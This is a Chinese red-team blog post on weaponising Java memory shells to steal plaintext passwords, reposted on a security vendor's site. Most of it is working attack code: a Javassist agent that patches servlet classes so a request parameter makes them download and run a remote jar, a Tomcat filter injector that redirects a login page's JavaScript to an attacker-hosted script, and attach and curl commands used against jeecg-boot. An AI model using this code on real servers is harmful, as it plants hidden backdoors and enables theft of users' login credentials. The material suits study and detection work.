长亭百川云 - 文章详情

java内存马深度利用:窃取明文、钓鱼

lufei

21

2024-08-26

一、前言

在红蓝对抗中,进程内存是兵家必争之地。例如,知名的 Mimikatz 工具(用于提取计算机密码和哈希值)就是通过操作内存来实现的。然而,由于操作内存极为繁琐且复杂,并且大部分软件的特性不一致,导致投入产出比相对较低,所以研究这一领域的人相对较少。

然而,在 Java 安全领域,内存对抗相对较为常见。由于 Java Instrument 机制(在内存中修改类)以及反序列化漏洞,可以通过代码执行来增加 Servlet、Filter 等内存马(这些能够有效规避回显和查杀),并且有众多的内存马工具生态,造就了内存马研究的浪潮。

不过,我个人认为,内存利用的潜力尚未被充分挖掘,因为 蓝军的最终目标是业务权限或数据,而非机器 。我曾遇到以下困扰的问题,后来发现这些问题都可以通过操作内存来解决:

1、遇到 KMS 加密的配置文件时,如何快速解密?

2、如何窃取用户登录 Spring Boot 应用的明文密码,而非 MD5 哈希值?

3、如何窃取二因素认证的 token 以绕过登录验证?

二、我有一个想法

上面这些问题,在java应用中都可以通过Java Instrument解决:dump内存、修改内存class逻辑。这里重点聊一下第二点。

1、增加一个jar loader:做一个loader,方便根据不同目标插入不同的内存马

2、自定义不可描述的事情:比如窃取web js密码明文逻辑:修改返回包 -> 替换返回包 -> 替换js的url(非常完美,本地或远程都可以),跟@skay讨论思路如上。实现过程是通过注入jar Loader注入Filter内存马,改变js的返回路径。

三、实验思路

3.1、Java Instrument制作jar loader

确认javaassit版本

javaassit版本太低了,对于需要修改的目标webapp不兼容(比较高版本的jdk不兼容),版本太高了,编译的agent需要的jdk版本需要jdk8以上。

修改servlet class

shellcode,最后的return是让有一个判断,返回为空则说明注入成功。

1javax.servlet.http.HttpServletRequest request=(javax.servlet.ServletRequest)$1;
2javax.servlet.http.HttpServletResponse response =(javax.servlet.ServletResponse)$2;
3javax.servlet.http.HttpSession session = request.getSession();
4if((request.getQueryString()!=null)&&(request.getQueryString().contains("lPassword")))
5{
6   java.util.Map obj=new java.util.HashMap();
7   obj.put("request",request);
8   obj.put("response",response);
9   obj.put("session",session);
10ClassLoader loader=this.getClass().getClassLoader();
11if(request.getMethod().equals("POST"))
12{
13try{
14String lUrl = request.getParameter("lUrl");
15String lName = request.getParameter("lName");
16            java.net.URL[] urls =new java.net.URL[]{new java.net.URL(lUrl)};
17            java.net.URLClassLoader urlClassLoader =new java.net.URLClassLoader(urls,this.getClass().getClassLoader());
18Class clazz = urlClassLoader.loadClass(lName);
19            java.lang.reflect.Method[] methods = clazz.getDeclaredMethods();
20for(int i =0; i < methods.length; i++){
21System.out.println("method: "+methods[i].getName());
22}
23            java.lang.reflect.Constructor[] constructors = clazz.getDeclaredConstructors();
24for(int i =0; i < constructors.length; i++){
25System.out.println("constructor: "+constructors[i].getName());
26}
27Object obj = clazz.newInstance();
28return;
29}catch(Exception e){e.printStackTrace();}
30}
31}

agent的代码:AfterDemo.java

1import javassist.ClassClassPath;
2import javassist.ClassPool;
3import javassist.CtClass;
4import javassist.CtMethod;
5import java.lang.instrument.ClassDefinition;
6import java.lang.instrument.Instrumentation;
7import java.util.ArrayList;
8import java.util.HashMap;
9import java.util.List;
10import java.util.Map;
11publicclassAfterDemo{
12publicstaticvoid agentmain(String agentArgs,Instrumentation inst){
13System.out.println("hello I`m agentMain!!!");
14Class<?>[] cLasses = inst.getAllLoadedClasses();
15byte[] bArr =newbyte[0];
16Map<String,Map<String,Object>> targetClasses =newHashMap<>();
17Map<String,Object> targetClassJavaxMap =newHashMap<>();
18        targetClassJavaxMap.put("methodName","service");
19List<String> paramJavaxClsStrList =newArrayList<>();
20        paramJavaxClsStrList.add("javax.servlet.ServletRequest");
21        paramJavaxClsStrList.add("javax.servlet.ServletResponse");
22        targetClassJavaxMap.put("paramList", paramJavaxClsStrList);
23        targetClasses.put("javax.servlet.http.HttpServlet", targetClassJavaxMap);
24Map<String,Object> targetClassJakartaMap =newHashMap<>();
25        targetClassJakartaMap.put("methodName","service");
26List<String> paramJakartaClsStrList =newArrayList<>();
27        paramJakartaClsStrList.add("jakarta.servlet.ServletRequest");
28        paramJakartaClsStrList.add("jakarta.servlet.ServletResponse");
29        targetClassJakartaMap.put("paramList", paramJakartaClsStrList);
30        targetClasses.put("javax.servlet.http.HttpServlet", targetClassJavaxMap);
31        targetClasses.put("jakarta.servlet.http.HttpServlet", targetClassJakartaMap);
32ClassPool cPool =ClassPool.getDefault();
33if(ServerDetector.isWebLogic()){
34            targetClasses.clear();
35Map<String,Object> targetClassWeblogicMap =newHashMap<>();
36            targetClassWeblogicMap.put("methodName","execute");
37List<String> paramWeblogicClsStrList =newArrayList<>();
38            paramWeblogicClsStrList.add("javax.servlet.ServletRequest");
39            paramWeblogicClsStrList.add("javax.servlet.ServletResponse");
40            targetClassWeblogicMap.put("paramList", paramWeblogicClsStrList);
41            targetClasses.put("weblogic.servlet.internal.ServletStubImpl", targetClassWeblogicMap);
42}
43String shellCode ="javax.servlet.http.HttpServletRequest request=(javax.servlet.ServletRequest)$1;\n"+
44"javax.servlet.http.HttpServletResponse response = (javax.servlet.ServletResponse)$2;\n"+
45"javax.servlet.http.HttpSession session = request.getSession();\n"+
46"String pathPattern=\"/linject\";\n"+
47"if (request.getRequestURI().matches(pathPattern))\n"+
48"{\n"+
49"   java.util.Map obj=new java.util.HashMap();\n"+
50"   obj.put(\"request\",request);\n"+
51"   obj.put(\"response\",response);\n"+
52"   obj.put(\"session\",session);\n"+
53"   ClassLoader loader=this.getClass().getClassLoader();\n"+
54"   if (request.getMethod().equals(\"POST\"))\n"+
55"   {\n"+
56"      try{\n"+
57"            String lUrl = request.getParameter(\"lUrl\");\n"+
58"            String lName = request.getParameter(\"lName\");\n"+
59"            java.net.URL[] urls = new java.net.URL[]{new java.net.URL(lUrl)};\n"+
60"            java.net.URLClassLoader urlClassLoader = new java.net.URLClassLoader(urls,this.getClass().getClassLoader());\n"+
61"            Class clazz = urlClassLoader.loadClass(lName);\n"+
62"            java.lang.reflect.Method[] methods = clazz.getDeclaredMethods();\n"+
63"            for (int i = 0; i < methods.length; i++) {\n"+
64"                  System.out.println(\"method: \" +methods[i].getName());\n"+
65"            }\n"+
66"            java.lang.reflect.Constructor[] constructors = clazz.getDeclaredConstructors();\n"+
67"            for (int i = 0; i < constructors.length; i++) {\n"+
68"                  System.out.println(\"constructor: \" +constructors[i].getName());\n"+
69"            }\n"+
70"            Object obj = clazz.newInstance();\n"+
71"            return;\n"+
72"      }catch (Exception e){e.printStackTrace();}\n"+
73"   }\n"+
74"}";
75for(Class<?> cls : cLasses){
76System.out.println(cls.getName());
77if(targetClasses.keySet().contains(cls.getName())){
78String targetClassName = cls.getName();
79try{
80System.out.println("found class:"+targetClassName);
81if(targetClassName.equals("jakarta.servlet.http.HttpServlet")){
82                        shellCode = shellCode.replace("javax.servlet","jakarta.servlet");
83}
84ClassClassPath classPath =newClassClassPath(cls);
85                    cPool.insertClassPath(classPath);
86                    cPool.importPackage("java.lang.reflect.Method");
87                    cPool.importPackage("javax.crypto.Cipher");
88List<CtClass> paramClsList =newArrayList<>();
89for(Object clsName :(List) targetClasses.get(targetClassName).get("paramList")){
90                        paramClsList.add(cPool.get((String) clsName));
91}
92CtClass cClass = cPool.get(targetClassName);
93String methodName = targetClasses.get(targetClassName).get("methodName").toString();
94CtMethod cMethod = cClass.getDeclaredMethod(methodName,(CtClass[]) paramClsList.toArray(newCtClass[paramClsList.size()]));
95                    cMethod.insertBefore(shellCode);
96                    cClass.detach();
97byte[] data = cClass.toBytecode();
98                    inst.redefineClasses(newClassDefinition[]{newClassDefinition(cls, data)});
99}catch(Exception e){
100                    e.printStackTrace();
101}
102break;
103}
104}
105}
106}
1curl -X POST  'http://127.0.0.1:9091/linject?lUrl=http://127.0.0.1/TestSpring4.jar&lName=org.example.testspring4.Inject&password' -vvv

3.2、注入Filter

Filter & Filter注射器

MyFilter.java

1import jakarta.servlet.*;
2import jakarta.servlet.http.HttpServletRequest;
3import jakarta.servlet.http.HttpServletResponse;
4import java.io.IOException;
5publicclassMyFilterimplementsFilter{
6@Override
7publicvoid init(FilterConfig filterConfig)throwsServletException{
8Filter.super.init(filterConfig);
9}
10@Override
11publicvoid doFilter(ServletRequest servletRequest,ServletResponse servletResponse,FilterChain filterChain)throwsIOException,ServletException{
12if(((HttpServletRequest)servletRequest).getRequestURI().endsWith("app.9fa057ee.js")){
13((HttpServletResponse)servletResponse).sendRedirect("http://127.0.0.1/app.js");
14}else{
15            filterChain.doFilter(servletRequest, servletResponse);
16}
17}
18
19@Override
20publicvoid destroy(){
21Filter.super.destroy();
22}
23}

Inject.java

1package org.example.testspring4;
2import jakarta.servlet.*;
3import org.apache.catalina.Context;
4import org.apache.catalina.core.ApplicationContext;
5import org.apache.catalina.core.StandardContext;
6import org.apache.tomcat.util.descriptor.web.FilterDef;
7import org.springframework.boot.web.servlet.DispatcherType;
8import org.springframework.web.context.WebApplicationContext;
9import org.springframework.web.context.request.RequestContextHolder;
10import org.springframework.web.context.request.ServletRequestAttributes;
11import org.springframework.web.servlet.support.RequestContextUtils;
12import java.lang.reflect.Constructor;
13import java.lang.reflect.Field;
14import java.util.Map;
15publicclassInject{
16publicInject(){
17try{
18WebApplicationContext context =RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
19System.out.println(context);
20ServletContext servletContext =((org.springframework.web.context.WebApplicationContext)context).getServletContext();
21Field appctx = servletContext.getClass().getDeclaredField("context");// 获取属性
22            appctx.setAccessible(true);
23ApplicationContext applicationContext =(ApplicationContext) appctx.get(servletContext);
24Field stdctx = applicationContext.getClass().getDeclaredField("context");
25            stdctx.setAccessible(true);
26StandardContext standardContext =(StandardContext) stdctx.get(applicationContext);
27MyFilter filter =newMyFilter();
28StringFilterName="shiroFilter";
29FieldConfigs=null;
30Map filterConfigs;
31Configs=StandardContext.class.getDeclaredField("filterConfigs");
32Configs.setAccessible(true);
33            filterConfigs =(Map)Configs.get(standardContext);
34Class<?>FilterDef=Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
35Constructor declaredConstructors =FilterDef.getDeclaredConstructor();
36            org.apache.tomcat.util.descriptor.web.FilterDef o =(org.apache.tomcat.util.descriptor.web.FilterDef) declaredConstructors.newInstance();
37            o.setFilter(filter);
38            o.setFilterName(FilterName);
39            o.setFilterClass(filter.getClass().getName());
40            standardContext.addFilterDef(o);
41//Step 4
42Class<?>FilterMap=Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
43Constructor<?> declaredConstructor =FilterMap.getDeclaredConstructor();
44            org.apache.tomcat.util.descriptor.web.FilterMap o1 =(org.apache.tomcat.util.descriptor.web.FilterMap) declaredConstructor.newInstance();
45            o1.addURLPattern("/*");
46            o1.setFilterName(FilterName);
47            o1.setDispatcher(DispatcherType.REQUEST.name());
48            standardContext.addFilterMapBefore(o1);
49//Step 5
50Class<?>ApplicationFilterConfig=Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
51Constructor<?> declaredConstructor1 =ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
52            declaredConstructor1.setAccessible(true);
53            org.apache.catalina.core.ApplicationFilterConfig filterConfig =(org.apache.catalina.core.ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext, o);
54            filterConfigs.put(FilterName, filterConfig);
55}catch(Exception e){
56            e.printStackTrace();
57}
58}
59}

Jar Loader

需要注入到对应的servlet中去,因为这样就有了这个web app的上下文了,然后就可以通过Jar Loader加载任意java代码了。

注意:new java.net.URLClassLoader(urls,this.getClass().getClassLoader());

每个类加载器都有自己的命名空间,它包含由该类加载器加载的类。在Java中,类的唯一性不仅由类的完全限定名(类名+包名)决定,还由加载它的类加载器决定。 因此,即使两个类加载器加载了相同的类文件,这两个类也被视为不同的类,因为它们位于不同的命名空间中。

1try{
2    java.net.URL[] urls =new java.net.URL[]{new java.net.URL(url)};
3    java.net.URLClassLoader urlClassLoader =new java.net.URLClassLoader(urls,this.getClass().getClassLoader());
4Class clazz = urlClassLoader.loadClass(name);
5    java.lang.reflect.Method[] methods = clazz.getDeclaredMethods();
6for(java.lang.reflect.Method _method : methods){
7System.out.println("method: "+ _method);
8}
9    java.lang.reflect.Constructor<?>[] constructors = clazz.getDeclaredConstructors();
10for(java.lang.reflect.Constructor<?> ctor : constructors){
11System.out.println("Constructor: "+ ctor);
12}
13Object obj = clazz.newInstance();
14}catch(Exception e){
15    e.printStackTrace();
16}

成功劫持

对app.9fa057ee.js进行劫持成功。

四、jeecg-boot劫持

1、生成SpiringFilter内存马(注射器和Filter马内容)

1<dependency>
2  <groupId>org.springframework.boot</groupId>
3  <artifactId>spring-boot-starter-web</artifactId>
4  <version>2.7.18</version>
5</dependency>
1package org.example;
2
3
4import javax.servlet.*;
5import javax.servlet.http.HttpServletRequest;
6import javax.servlet.http.HttpServletResponse;
7
8
9import java.io.IOException;
10
11
12publicclassMyFilterimplementsFilter{
13@Override
14publicvoidinit(FilterConfig filterConfig)throwsServletException{
15Filter.super.init(filterConfig);
16}
17
18
19@Override
20publicvoiddoFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)throwsIOException,ServletException{
21if(((HttpServletRequest)servletRequest).getRequestURI().endsWith("app.9fa057ee.js")){
22((HttpServletResponse)servletResponse).sendRedirect("http://127.0.0.1/app.js");
23}else{
24            filterChain.doFilter(servletRequest, servletResponse);
25}
26}
27
28
29@Override
30publicvoiddestroy(){
31Filter.super.destroy();
32}
33}

2、通过agent修改目标类

通过agent修改HttpServlet,实现访问任意路径即可加载Jar,注入内存马。

这步就是修改了javax.servlet.http.HttpServlet,可以加载任意的jar中的class执行。

1java -jar agent-attach-java-1.8.jar -pid 83106 -agent-jar /Users/lufei/Downloads/AgentTester/out/artifacts/AgentTester_jar/AgentTester.jar

3、加载SpringFilter的inject 并且修改Filter

因为要触发javax.servlet.http.HttpServlet,所以必须在webapp的context上,所以只要成功访问webapp的任意url就可以触发,并且会返回200状态

1curl -X POST  'http://127.0.0.1:8080/jeecg-boot/sys/login?lUrl=http://127.0.0.1/SpringFilter-1.0-SNAPSHOT.jar&lName=org.example.Inject&lPassword' -vvv

4、验证是否成功

这里会看到访问jeecg-boot/webjars/js/app.9fa057ee.js,就会跳转到/app.js,成功被劫持。

1curl  'http://127.0.0.1:8080/jeecg-boot/webjars/js/app.9fa057ee.js' -vv

这里js加载我们修改的js,在js头部插入我们的js代码,这时候可以插入任意js,直接窃取明文密码。

五、总结

在红蓝对抗中,随着国内监管合规健全以及各类的安全基础设施完善,获取到机器ROOT权限并不意味结束,而是面对另一场对抗。

社群:加我lufeirider微信进群。

知识星球:关注攻击(红蓝对抗、代码审计、渗透、SRC漏洞挖掘等等)与防御(情报、扫描器、应用扫描、WAF、NIDS、HIDS、蜜罐等等)。目前聚焦ai落地攻击和防御。


攻防与防御回顾

k8s被黑真能溯源到攻击者吗?

“VT全绿”-手动patch exe免杀

最近CDN供应链事件的曲折分析与应对-业务安全

加载数据集或模型可能就中毒!大模型供应链安全

AI与基础安全结合的新的攻击面

AI落地-蓝军之默认密码获取

BootCDN供应链攻击分析与应对

挖洞技巧-扩展攻击面

weblogic-2019-2725exp回显构造

WEB越权-劝你多删参数值

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2